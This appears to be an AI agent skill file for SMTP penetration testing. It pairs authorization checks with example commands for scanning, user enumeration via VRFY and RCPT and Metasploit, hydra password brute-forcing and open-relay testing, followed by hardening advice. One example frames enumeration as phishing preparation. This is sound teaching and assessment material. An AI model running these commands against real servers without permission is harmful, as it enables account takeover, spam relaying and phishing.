smtp-penetration-testing

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

SMTP Penetration Testing

Detailed Guide

Read the detailed guide before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.

Prerequisites

Required Tools

# Nmap with SMTP scripts
sudo apt-get install nmap

# Netcat
sudo apt-get install netcat

# Hydra for brute force
sudo apt-get install hydra

# SMTP user enumeration tool
sudo apt-get install smtp-user-enum

# Metasploit Framework
msfconsole

Required Knowledge

• SMTP protocol fundamentals
• Email architecture (MTA, MDA, MUA)
• DNS and MX records
• Network protocols

Required Access

• Target SMTP server IP/hostname
• Written authorization for testing
• Wordlists for enumeration and brute force

Constraints and Limitations

Legal Requirements

• Only test SMTP servers you own or have authorization to test
• Sending spam or malicious emails is illegal
• Document all testing activities
• Do not abuse discovered open relays

Technical Limitations

• VRFY/EXPN often disabled on modern servers
• Rate limiting may slow enumeration
• Some servers respond identically for valid/invalid users
• Greylisting may delay enumeration responses

Ethical Boundaries

• Never send actual spam through discovered relays
• Do not harvest email addresses for malicious use
• Report open relays to server administrators
• Use findings only for authorized security improvement

Examples

Example 1: Complete SMTP Assessment

Scenario: Full security assessment of mail server

# Step 1: Service discovery
nmap -sV -sC -p 25,465,587 mail.target.invalid

# Step 2: Banner grab
nc mail.target.invalid 25
EHLO test.com
QUIT

# Step 3: User enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.invalid

# Step 4: Open relay test
nmap -p 25 --script smtp-open-relay mail.target.invalid

# Step 5: Authentication test
hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.invalid

# Step 6: TLS check
openssl s_client -connect mail.target.invalid:25 -starttls smtp

# Step 7: Check email authentication
dig TXT target.com | grep spf
dig TXT _dmarc.target.com

Example 2: User Enumeration Attack

Scenario: Enumerate valid users for phishing preparation

# Method 1: VRFY
smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25

# Method 2: RCPT with timing analysis
smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com

# Method 3: Metasploit
msfconsole
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
run

# Results show valid users
[+] 192.168.1.100:25 - Found user: admin
[+] 192.168.1.100:25 - Found user: root
[+] 192.168.1.100:25 - Found user: postmaster

Example 3: Open Relay Exploitation

Scenario: Test and document open relay vulnerability

# Test via Telnet
telnet mail.target.invalid 25
HELO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
# RCPT acceptance alone is inconclusive; verify authorized external relay and actual controlled delivery policy.

# Document with Nmap
nmap -p 25 --script smtp-open-relay --script-args [email protected],[email protected] mail.target.invalid

# Output:
# PORT   STATE SERVICE
# 25/tcp open  smtp
# |_smtp-open-relay: Server is an open relay (14/16 tests)

Security Recommendations

For Administrators

1. Disable Open Relay - Require authentication for external delivery
2. Disable VRFY/EXPN - Prevent user enumeration
3. Protect submission/authentication with TLS - Define inter-server transport policy separately (for example MTA-STS/DANE) to avoid unintended mail loss
4. Implement SPF/DKIM/DMARC - Reduce domain impersonation with alignment and receiver enforcement; not universal spoofing prevention
5. Rate Limiting - Prevent brute force attacks
6. Account Lockout - Lock accounts after failed attempts
7. Banner Hardening - Minimize server information disclosure
8. Log Monitoring - Alert on suspicious activity
9. Patch Management - Keep SMTP software updated
10. Access Controls - Restrict SMTP to authorized IPs

When to Use

This skill is applicable to execute the workflow or actions described in the overview.

All delivery/relay/spoofing examples require specifically authorized sender and recipient test mailboxes; no third-party delivery, employee deception or password spraying is implicit. Agree rate/attempt/lockout limits and stop when blocked. A manually supplied Bcc/X-Injected header is not command/header injection: demonstrate a vulnerable application input-to-header boundary separately. STARTTLS capability or a completed s_client handshake alone does not verify certificate hostname/trust or downgrade policy; configure SNI/verification and inspect failures. DNS record presence alone does not validate SPF/DKIM/DMARC effectiveness. Redact authentication data and captured addresses.